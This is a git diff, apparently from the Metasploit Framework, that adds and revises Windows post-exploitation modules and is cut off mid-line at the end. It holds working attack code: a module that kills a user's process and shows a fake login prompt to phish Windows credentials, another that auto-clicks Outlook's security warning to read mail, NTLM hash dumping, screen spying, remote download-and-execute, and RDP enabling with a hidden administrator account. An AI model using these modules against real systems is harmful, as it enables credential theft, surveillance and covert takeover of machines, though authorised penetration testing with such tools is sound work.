runnings_pids, open_channels = execute_script(compressed_script, datastore['TIMEOUT']) + while(d = cmd_out.channel.read) + print ("#{d}") + end + currentidle = session.ui.idle_time + vprint_status("System has currently been idle for #{currentidle} seconds") + end + + # This function prints a listing of available mailbox folders + def list_boxes + command = 'List-Folder' + execute_outlook_script(command) + end + + # This functions reads Outlook using powershell scripts + def read_emails(folder,keyword,atrans,acftrans) + view = framework.threads.spawn("ButtonClicker", false) { + click_button(atrans,acftrans) + } + command = "Get-Emails \"#{keyword}\" \"#{folder}\"" + execute_outlook_script(command) + end + + # This functions clicks on the security notification generated by Outlook. + def click_button(atrans,acftrans) + sleep 1 + hwnd = client.railgun.user32.FindWindowW(nil, "Microsoft Outlook") + if hwnd != 0 + hwndChildCk = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "&#{acftrans}") + client.railgun.user32.SendMessageW(hwndChildCk['return'], 0x00F1, 1, nil) + client.railgun.user32.MoveWindow(hwnd['return'],150,150,1,1,true) + hwndChild = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "#{atrans}") + client.railgun.user32.SetActiveWindow(hwndChild['return']) + client.railgun.user32.SetForegroundWindow(hwndChild['return']) + client.railgun.user32.SetCursorPos(150,150) + client.railgun.user32.mouse_event(0x0002,150,150,nil,nil) + client.railgun.user32.SendMessageW(hwndChild['return'], 0x00F5, 0, nil) + else + print_error("Error while clicking on the Outlook security notification. Window could not be found") + end + end + + # Main method + def run + folder = datastore['FOLDER'] + keyword = datastore['KEYWORD'].to_s + allow = datastore['A_TRANSLATION'] + allow_access_for = datastore['ACF_TRANSLATION'] + langNotSupported = true + + # OS language check + sysLang = client.sys.config.sysinfo['System Language'] + A_HASH.each do |key, val| + if sysLang == key + langNotSupported = false + atrans = A_HASH[sysLang] + acftrans = ACF_HASH[sysLang] + end + end + + if allow and allow_access_for + atrans = allow + acftrans = allow_access_for + else + if langNotSupported == true + fail_with(Failure::Unknown, "System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)") + end + end + + # Outlook installed + @key_base = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" + outlookInstalled = registry_getvaldata("#{@key_base}\\", "NextAccountID") + + if !outlookInstalled.nil? + if outlookInstalled != 0 + print_good "Outlook is installed" + else + fail_with(Failure::Unknown, "Outlook is not installed") + end + end + + # Powershell installed check + if have_powershell? + print_good("PowerShell is installed.") + else + fail_with(Failure::Unknown, "PowerShell is not installed") + end + + # Check whether target system is locked + locked = client.railgun.user32.GetForegroundWindow()['return'] + if locked == 0 + fail_with(Failure::Unknown, "Target system is locked. This post module cannot click on Outlook's security warning when the target system is locked.") + end + + case action.name + when 'LIST' + print_good('Available folders in the mailbox: ') + list_boxes + when 'SEARCH' + read_emails(folder,keyword,atrans,acftrans) + else + print_error("Unknown Action: #{action.name}") + end + end +end diff --git a/modules/post/windows/gather/phish_windows_credentials.rb b/modules/post/windows/gather/phish_windows_credentials.rb new file mode 100644 index 0000000000..047ce64dae --- /dev/null +++ b/modules/post/windows/gather/phish_windows_credentials.rb @@ -0,0 +1,124 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Registry + include Msf::Post::Windows::Powershell + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Windows Gather User Credentials (phishing)', + 'Description' => %q{ + This module is able to perform a phishing attack on the target by popping up a loginprompt. + When the user fills credentials in the loginprompt, the credentials will be sent to the attacker. + The module is able to monitor for new processes and popup a loginprompt when a specific process is starting. Tested on Windows 7. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Wesley Neelen ', # Metasploit module + 'Matt Nelson (@enigma0x3)' # Author original powershell script + ], + 'References' => [ 'URL', 'https://forsec.nl/2015/02/windows-credentials-phishing-using-metasploit' ], + 'Platform' => [ 'win' ], + 'Arch' => [ 'x86', 'x64' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options( + [ + OptString.new('PROCESS', [ false, 'Prompt if a specific process is started by the target. (e.g. calc.exe or specify * for all processes)' ]), + OptString.new('DESCRIPTION', [ true, 'Message shown in the loginprompt', "{PROCESS_NAME} needs your permissions to start. Please enter user credentials"]), + ], self.class) + + register_advanced_options( + [ + OptInt.new('TIMEOUT', [true, 'The maximum time (in seconds) to wait for any Powershell scripts to complete', 120]) + ], self.class) + end + + # Function to run the InvokePrompt powershell script + def execute_invokeprompt_script(description,process,path) + base_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell", "Invoke-LoginPrompt.ps1")) + if process.nil? + sdescription = description.gsub("{PROCESS_NAME} needs your permissions to start. ", "") + psh_script = base_script.gsub("R{DESCRIPTION}", "#{sdescription}") << "Invoke-LoginPrompt" + else + sdescription = description.gsub("{PROCESS_NAME}", process) + psh_script2 = base_script.gsub("R{DESCRIPTION}", "#{sdescription}") << "Invoke-LoginPrompt" + psh_script = psh_script2.gsub("R{START_PROCESS}", "start-process \"#{path}\"") + end + compressed_script = compress_script(psh_script) + cmd_out, runnings_pids, open_channels = execute_script(compressed_script, datastore['TIMEOUT']) + while(d = cmd_out.channel.read) + print_good("#{d}") + end + end + + # Function to monitor process creation + def procmon(process, description) + procs = [] + existingProcs = [] + detected = false + first = true + print_status("Monitoring new processes.") + while detected == false + sleep 1 + procs = client.sys.process.processes + procs.each do |p| + if p['name'] == process or process == "*" + if first == true + print_status("#{p['name']} is already running. Waiting on new instances to start") + existingProcs.push(p['pid']) + else + if !existingProcs.include? p['pid'] + print_status("New process detected: #{p['pid']} #{p['name']}") + killproc(p['name'],p['pid'], description,p['path']) + detected = true + end + end + end + end + first = false + end + end + + # Function to kill the process + def killproc(process,pid,description,path) + print_status("Killing the process and starting the popup script. Waiting on the user to fill in his credentials...") + client.sys.process.kill(pid) + execute_invokeprompt_script(description,process,path) + end + + # Main method + def run + process = datastore['PROCESS'] + description = datastore['DESCRIPTION'] + + # Powershell installed check + if have_powershell? + print_good("PowerShell is installed.") + else + fail_with(Failure::Unknown, "PowerShell is not installed") + end + + # Check whether target system is locked + locked = client.railgun.user32.GetForegroundWindow()['return'] + if locked == 0 + fail_with(Failure::Unknown, "Target system is locked. This post module cannot start the loginprompt when the target system is locked.") + end + + # Switch to check whether a specific process needs to be monitored, or just show the popup immediatly. + case process + when nil + print_status("Starting the popup script. Waiting on the user to fill in his credentials...") + execute_invokeprompt_script(description, nil, nil) + else + procmon(process, description) + end + end +end diff --git a/modules/post/windows/gather/resolve_sid.rb b/modules/post/windows/gather/resolve_sid.rb index a56439fa6f..d0ead5f552 100644 --- a/modules/post/windows/gather/resolve_sid.rb +++ b/modules/post/windows/gather/resolve_sid.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/reverse_lookup.rb b/modules/post/windows/gather/reverse_lookup.rb index 84b636fa0b..99cee3b42e 100644 --- a/modules/post/windows/gather/reverse_lookup.rb +++ b/modules/post/windows/gather/reverse_lookup.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb index 07bb3c6fbd..f351301a9e 100644 --- a/modules/post/windows/gather/screen_spy.rb +++ b/modules/post/windows/gather/screen_spy.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,11 +14,11 @@ class Metasploit3 < Msf::Post This module will incrementally take desktop screenshots from the host. This allows for screen spying which can be useful to determine if there is an active user on a machine, or to record the screen for later data extraction. - NOTES: set VIEW_CMD to control how screenshots are opened/displayed, the file name - will be appended directly on to the end of the value of VIEW_CMD (use 'auto' to - have the module do it's best...default browser for Windows, firefox for *nix, and - preview app for macs). 'eog -s -f -w' is a handy VIEW_CMD for *nix. To suppress - opening of screenshots all together, set the VIEW_CMD option to 'none'. + + Note: As of March, 2014, the VIEW_CMD option has been removed in + favor of the Boolean VIEW_SCREENSHOTS option, which will control if (but + not how) the collected screenshots will be viewed from the Metasploit + interface. }, 'License' => MSF_LICENSE, 'Author' => @@ -36,11 +36,19 @@ class Metasploit3 < Msf::Post [ OptInt.new('DELAY', [true, 'Interval between screenshots in seconds', 5]), OptInt.new('COUNT', [true, 'Number of screenshots to collect', 6]), - OptString.new('VIEW_CMD', [false, 'Command to use for viewing screenshots (auto, none also accepted)', 'auto']), - OptBool.new('RECORD', [true, 'Record all screenshots to disk by looting them',false]) + OptBool.new('VIEW_SCREENSHOTS', [false, 'View screenshots automatically', false]), + OptBool.new('RECORD', [true, 'Record all screenshots to disk by looting them', true]) ], self.class) end + def view_screenshots? + datastore['VIEW_SCREENSHOTS'] + end + + def record? + datastore['RECORD'] + end + def run host = session.session_host screenshot = Msf::Config.get_config_root + "/logs/" + host + ".jpg" @@ -58,25 +66,6 @@ class Metasploit3 < Msf::Post return end - # here we check for the local platform to determine what to do when 'auto' is selected - if datastore['VIEW_CMD'].downcase == 'auto' - case ::RbConfig::CONFIG['host_os'] - when /mac|darwin/ - cmd = "open file://#{screenshot}" # this will use preview usually - when /mswin|win|mingw/ - cmd = "start iexplore.exe \"file://#{screenshot}\"" - when /linux|cygwin/ - # This opens a new tab for each screenshot, but I don't see a better way - cmd = "firefox file://#{screenshot} &" - else # bsd/sun/solaris might be different, but for now... - cmd = "firefox file://#{screenshot} &" - end - elsif datastore['VIEW_CMD'].downcase == 'none' - cmd = nil - else - cmd = "#{datastore['VIEW_CMD']}#{screenshot}" - end - begin count = datastore['COUNT'] print_status "Capturing #{count} screenshots with a delay of #{datastore['DELAY']} seconds" @@ -92,20 +81,29 @@ class Metasploit3 < Msf::Post return false end if data - if datastore['RECORD'] + + if record? # let's loot it using non-clobbering filename, even tho this is the source filename, not dest fn = "screenshot.%0#{leading_zeros}d.jpg" % num file_locations << store_loot("screenspy.screenshot", "image/jpg", session, data, fn, "Screenshot") end - # also write to disk temporarily so we can display in browser. They may or may not have been RECORDed. - if cmd # do this if they have not suppressed VIEW_CMD display + # also write to disk temporarily so we can display in browser. + # They may or may not have been RECORDed. + # do this if they have not suppressed VIEW_SCREENSHOT display + if view_screenshots? fd = ::File.new(screenshot, 'wb') fd.write(data) fd.close end + end - system(cmd) if cmd + + if view_screenshots? + screenshot_path = "file://#{screenshot}" + Rex::Compat.open_browser(screenshot_path) + end + end rescue IOError, Errno::ENOENT => e print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}") @@ -115,9 +113,11 @@ class Metasploit3 < Msf::Post if file_locations and not file_locations.empty? print_status "run loot -t screenspy.screenshot to see file locations of your newly acquired loot" end - if cmd + + if view_screenshots? # wait 2 secs so the last file can get opened before deletion - select(nil, nil, nil, 2) + sleep 2 + vprint_status "Deleting temporary screenshot file: #{screenshot}" begin ::File.delete(screenshot) rescue Exception => e @@ -125,6 +125,7 @@ class Metasploit3 < Msf::Post print_error("This may be due to the file being in use if you are on a Windows platform") end end + end def migrate_explorer diff --git a/modules/post/windows/gather/smart_hashdump.rb b/modules/post/windows/gather/smart_hashdump.rb index a3d2797741..4a1f6c4dba 100644 --- a/modules/post/windows/gather/smart_hashdump.rb +++ b/modules/post/windows/gather/smart_hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -247,14 +247,38 @@ class Metasploit3 < Msf::Post collected_hashes << "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::\n" print_good("\t#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::") - session.framework.db.report_auth_info( - :host => host, - :port => @smb_port, - :sname => 'smb', - :user => users[rid][:Name], - :pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], - :type => "smb_hash" - ) + + service_data = { + address: host, + port: @smb_port, + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :ntlm_hash, + private_data: users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], + username: users[rid][:Name] + } + + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) end rescue ::Interrupt @@ -299,20 +323,44 @@ class Metasploit3 < Msf::Post # skip if it returns nil for an entry next if h == nil begin - user = returned_hash[0].scan(/^[a-zA-Z0-9\-$.]*/).join.gsub(/\.$/,"") + user = returned_hash[0].scan(/^[a-zA-Z0-9_\-$.]*/).join.gsub(/\.$/,"") lmhash = returned_hash[2].scan(/[a-f0-9]*/).join next if lmhash == nil hash_entry = "#{user}:#{rid}:#{lmhash}:#{returned_hash[3]}" collected_hashes << "#{hash_entry}\n" print_good("\t#{hash_entry}") - session.framework.db.report_auth_info( - :host => host, - :port => @smb_port, - :sname => 'smb', - :user => user, - :pass => "#{lmhash}:#{returned_hash[3]}", - :type => "smb_hash" - ) + + service_data = { + address: host, + port: @smb_port, + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :ntlm_hash, + private_data: "#{lmhash}:#{returned_hash[3]}", + username: user + } + + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) rescue next end diff --git a/modules/post/windows/gather/tcpnetstat.rb b/modules/post/windows/gather/tcpnetstat.rb index d260ee0a52..76566231ff 100644 --- a/modules/post/windows/gather/tcpnetstat.rb +++ b/modules/post/windows/gather/tcpnetstat.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/usb_history.rb b/modules/post/windows/gather/usb_history.rb index 334bd81243..17af8ff7fc 100644 --- a/modules/post/windows/gather/usb_history.rb +++ b/modules/post/windows/gather/usb_history.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/win_privs.rb b/modules/post/windows/gather/win_privs.rb index 1663b8d512..acb6e8dfa7 100644 --- a/modules/post/windows/gather/win_privs.rb +++ b/modules/post/windows/gather/win_privs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/wmic_command.rb b/modules/post/windows/gather/wmic_command.rb index b94411a15d..65af916b48 100644 --- a/modules/post/windows/gather/wmic_command.rb +++ b/modules/post/windows/gather/wmic_command.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/word_unc_injector.rb b/modules/post/windows/gather/word_unc_injector.rb index 45e976e925..2c727a4677 100644 --- a/modules/post/windows/gather/word_unc_injector.rb +++ b/modules/post/windows/gather/word_unc_injector.rb @@ -1,11 +1,22 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## +# +# Gems +# + +# for extracting files +require 'zip' + +# +# Project +# + require 'msf/core' -require 'zip/zip' #for extracting files -require 'rex/zip' #for creating files +# for creating files +require 'rex/zip' class Metasploit3 < Msf::Post @@ -109,17 +120,17 @@ class Metasploit3 < Msf::Post end #RubyZip sometimes corrupts the document when manipulating inside a - #compressed document, so we extract it with Zip::ZipFile into memory + #compressed document, so we extract it with Zip::File into memory def unzip_docx(zipfile) vprint_status("Extracting #{datastore['FILE']} into memory.") zip_data = Hash.new begin - Zip::ZipFile.open(zipfile) do |filezip| + Zip::File.open(zipfile) do |filezip| filezip.each do |entry| zip_data[entry.name] = filezip.read(entry) end end - rescue Zip::ZipError => e + rescue Zip::Error => e print_error("Error extracting #{datastore['FILE']} please verify it is a valid .docx document.") return nil end diff --git a/modules/post/windows/manage/add_user_domain.rb b/modules/post/windows/manage/add_user_domain.rb index 0129db3ff3..7eae317a56 100644 --- a/modules/post/windows/manage/add_user_domain.rb +++ b/modules/post/windows/manage/add_user_domain.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/autoroute.rb b/modules/post/windows/manage/autoroute.rb index 86b38a9522..a894ae01d3 100644 --- a/modules/post/windows/manage/autoroute.rb +++ b/modules/post/windows/manage/autoroute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/change_password.rb b/modules/post/windows/manage/change_password.rb new file mode 100644 index 0000000000..889f5af7b9 --- /dev/null +++ b/modules/post/windows/manage/change_password.rb @@ -0,0 +1,79 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + + def initialize(info={}) + super(update_info(info, + 'Name' => "Windows Manage Change Password", + 'Description' => %q{ + This module will attempt to change the password of the targeted account. + The typical usage is to change a newly created account's password on a + remote host to avoid the error, 'System error 1907 has occurred,' which + is caused when the account policy enforces a password change before the + next login. + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Ben Campbell'] + )) + + register_options( + [ + OptString.new('SMBDomain', [false, 'Domain or Host to change password on, if not set will use the current login domain', nil]), + OptString.new('SMBUser', [true, 'Username to change password of']), + OptString.new('OLD_PASSWORD', [true, 'Original password' ]), + OptString.new('NEW_PASSWORD', [true, 'New password' ]), + ], self.class) + end + + def run + unless client.railgun + print_error('This module requires a native Windows payload that supports Railgun.') + return + end + + domain = datastore['SMBDomain'] + username = datastore['SMBUser'] + old_password = datastore['OLD_PASSWORD'] + new_password = datastore['NEW_PASSWORD'] + print_status("Changing #{domain}\\#{username} password to #{new_password}...") + result = client.railgun.netapi32.NetUserChangePassword( + domain, + username, + old_password, + new_password + ) + + case result['return'] + when 0x05 + err_msg = 'ERROR_ACCESS_DENIED' + when 0x56 + err_msg = 'ERROR_INVALID_PASSWORD' + when 0x92f + err_msg = 'NERR_InvalidComputer' + when 0x8b2 + err_msg = 'NERR_NotPrimary' + when 0x8ad + err_msg = 'NERR_UserNotFound' + when 0x8c5 + err_msg = 'NERR_PasswordTooShort' + when 0 + print_good('Password change successful.') + else + err_msg = "unknown error code: #{result['return']}" + end + + if err_msg + print_error("Password change failed, #{err_msg}.") + end + + end + +end + diff --git a/modules/post/windows/manage/clone_proxy_settings.rb b/modules/post/windows/manage/clone_proxy_settings.rb index a45cffe69f..c270e7bd94 100644 --- a/modules/post/windows/manage/clone_proxy_settings.rb +++ b/modules/post/windows/manage/clone_proxy_settings.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/delete_user.rb b/modules/post/windows/manage/delete_user.rb index c2b5e8444a..5cc08d1e83 100644 --- a/modules/post/windows/manage/delete_user.rb +++ b/modules/post/windows/manage/delete_user.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/download_exec.rb b/modules/post/windows/manage/download_exec.rb index 6dd6668288..b920f64184 100644 --- a/modules/post/windows/manage/download_exec.rb +++ b/modules/post/windows/manage/download_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Post register_advanced_options( [ OptString.new('EXEC_STRING', [false, 'Execution parameters when run from download directory' ]), - OptInt.new('EXEC_TIMEOUT', [true, 'Execution timeout', 60 ]), + OptInt.new( 'EXEC_TIMEOUT', [true, 'Execution timeout', 60 ]), OptBool.new( 'DELETE', [true, 'Delete file after execution', false ]), ], self.class) @@ -76,16 +76,16 @@ class Metasploit3 < Msf::Post url = datastore["URL"] filename = datastore["FILENAME"] || url.split('/').last - download_path = session.fs.file.expand_path(datastore["DOWNLOAD_PATH"]) - if download_path.nil? or download_path.empty? - path = session.fs.file.expand_path("%TEMP%") + path = datastore['DOWNLOAD_PATH'] + if path.blank? + path = session.sys.config.getenv('TEMP') else - path = download_path + path = session.fs.file.expand_path(path) end outpath = path + '\\' + filename exec = datastore['EXECUTE'] - exec_string = datastore['EXEC_STRING'] || '' + exec_string = datastore['EXEC_STRING'] output = datastore['OUTPUT'] remove = datastore['DELETE'] @@ -108,11 +108,7 @@ class Metasploit3 < Msf::Post # Execute file upon request if exec begin - cmd = "#{outpath} #{exec_string}" - - # If we don't have the following gsub, we get this error in Windows: - # "Operation failed: The system cannot find the file specified" - cmd = cmd.gsub(/\\/, '\\\\\\').gsub(/\s/, '\ ') + cmd = "\"#{outpath}\" #{exec_string}" print_status("Executing file: #{cmd}") res = cmd_exec(cmd, nil, datastore['EXEC_TIMEOUT']) diff --git a/modules/post/windows/manage/driver_loader.rb b/modules/post/windows/manage/driver_loader.rb index 7f32ab25fc..9558084429 100644 --- a/modules/post/windows/manage/driver_loader.rb +++ b/modules/post/windows/manage/driver_loader.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Post }, 'License' => MSF_LICENSE, 'Author' => 'Borja Merino ', - 'Platform' => 'windows', + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) @@ -56,9 +56,9 @@ class Metasploit3 < Msf::Post def run driver = datastore['DRIVER_PATH'] - start = datastore['START_TYPE'] - error = datastore['ERROR_TYPE'] - service = datastore['SERVICE_TYPE'] + start = START_TYPE[datastore['START_TYPE']] + error = ERROR_TYPE[datastore['ERROR_TYPE']] + service = SERVICE_TYPE[datastore['SERVICE_TYPE']] name = datastore['DRIVER_NAME'].blank? ? Rex::Text.rand_text_alpha((rand(8)+6)) : datastore['DRIVER_NAME'] @@ -77,9 +77,9 @@ class Metasploit3 < Msf::Post return end - inst = install_driver(driver: driver, start: start, name: name, error: error, service: service) + inst = install_driver(name, path: driver, starttype: start, error_control: error, service_type: service) - if inst + if inst == Windows::Error::SUCCESS ss = service_start(name) case ss when Windows::Error::SUCCESS @@ -94,30 +94,19 @@ class Metasploit3 < Msf::Post end end - def install_driver(opts={}) - service_all_access = 0xF01FF - service_type = SERVICE_TYPE[opts[:service]] - service_error_type = ERROR_TYPE[opts[:error]] - service_start_type = START_TYPE[opts[:start]] - advapi32 = client.railgun.advapi32 - name = opts[:name] - # Default access: sc_manager_all_access (0xF003F) - ro = open_sc_manager() + def install_driver(name, opts={}) + rc = service_create(name, opts) - rc = advapi32.CreateServiceA(ro, name, name, service_all_access, service_type, service_start_type, service_error_type, opts[:driver], nil, nil, nil, nil, nil) - close_sc_manager(ro) - - if rc['GetLastError'] == Windows::Error::SUCCESS + if rc == Windows::Error::SUCCESS print_status("Service object \"#{name}\" added to the Service Control Manager database.") - close_sc_manager(rc['return']) return true - elsif rc['GetLastError'] == Windows::Error::SERVICE_EXISTS + elsif rc == Windows::Error::SERVICE_EXISTS print_error("The specified service already exists.") # Show ImagePath just to know if the service corresponds to the desired driver. service = service_info(name) - print_error("Path of driver file in \"#{name}\" service: #{service["Command"]}.") + print_error("Path of driver file in \"#{name}\" service: #{service[:path]}.") else - print_error("There was an error opening the driver handler. GetLastError=#{rc['GetLastError']}.") + print_error("There was an error opening the driver handler. GetLastError=#{rc}.") end return false end diff --git a/modules/post/windows/manage/enable_rdp.rb b/modules/post/windows/manage/enable_rdp.rb index c701131685..16199977ee 100644 --- a/modules/post/windows/manage/enable_rdp.rb +++ b/modules/post/windows/manage/enable_rdp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -84,17 +84,20 @@ class Metasploit3 < Msf::Post def enabletssrv(cleanup_rc) - rdp_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService" + service_name = "termservice" + srv_info = service_info(service_name) begin - v2 = registry_getvaldata(rdp_key,"Start") print_status "Setting Terminal Services service startup mode" - if v2 != 2 + if srv_info[:starttype] != START_TYPE_AUTO print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..." - service_change_startup("TermService","auto") + unless (service_change_config(service_name, {:starttype => "START_TYPE_AUTO"}) == Windows::Error::SUCCESS) + print_error("\tUnable to change start type to Auto") + end file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"") - cmd_exec("sc", "start termservice", 30) + if (service_start(service_name) == Windows::Error::SUCCESS) + print_good("\tRDP Service Started") + end file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc stop termservice\"") - else print_status "\tTerminal Services service is already set to auto" end @@ -116,8 +119,21 @@ class Metasploit3 < Msf::Post print_status "Setting user account for logon" print_status "\tAdding User: #{username} with Password: #{password}" begin + if check_user(username) + print_error("\tThe user #{username} already exists") + return + end + + user_added = false addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add") + if addusr_out =~ /success/i + user_added = true + elsif check_user(username) + user_added = true + end + + if user_added file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"") print_status "\tAdding User: #{username} to local group '#{rdu}'" cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add") @@ -125,7 +141,7 @@ class Metasploit3 < Msf::Post print_status "\tHiding user from Windows Login screen" hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList' registry_setvaldata(hide_user_key,username,0,"REG_DWORD") - file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}") + file_local_write(cleanup_rc,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}") print_status "\tAdding User: #{username} to local group '#{admin}'" cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add") print_status "You can now login with the created user" @@ -136,8 +152,17 @@ class Metasploit3 < Msf::Post print_error("\t#{l.chomp}") end end - rescue::Exception => e + rescue ::Exception => e print_status("The following Error was encountered: #{e.class} #{e}") end end + + def check_user(user) + output = cmd_exec('cmd.exe', '/c net user') + if output.include?(user) + return true + end + + false + end end diff --git a/modules/post/windows/manage/ie_proxypac.rb b/modules/post/windows/manage/ie_proxypac.rb index 8b3c9f2862..82ff84eb6b 100644 --- a/modules/post/windows/manage/ie_proxypac.rb +++ b/modules/post/windows/manage/ie_proxypac.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Post [ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ], [ 'URL', 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ] ], - 'Platform' => [ 'windows' ], + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) @@ -87,7 +87,7 @@ class Metasploit3 < Msf::Post end def create_pac(local_pac) - pac_file = expand_path("%APPDATA%") << "\\" << Rex::Text.rand_text_alpha((rand(8)+6)) << ".pac" + pac_file = session.sys.config.getenv("APPDATA") << "\\" << Rex::Text.rand_text_alpha((rand(8)+6)) << ".pac" conf_pac = "" if ::File.exists?(local_pac) diff --git a/modules/post/windows/manage/inject_ca.rb b/modules/post/windows/manage/inject_ca.rb index de52e26ef1..f86f5cdf0d 100644 --- a/modules/post/windows/manage/inject_ca.rb +++ b/modules/post/windows/manage/inject_ca.rb @@ -1,5 +1,5 @@ ## -# This module requires 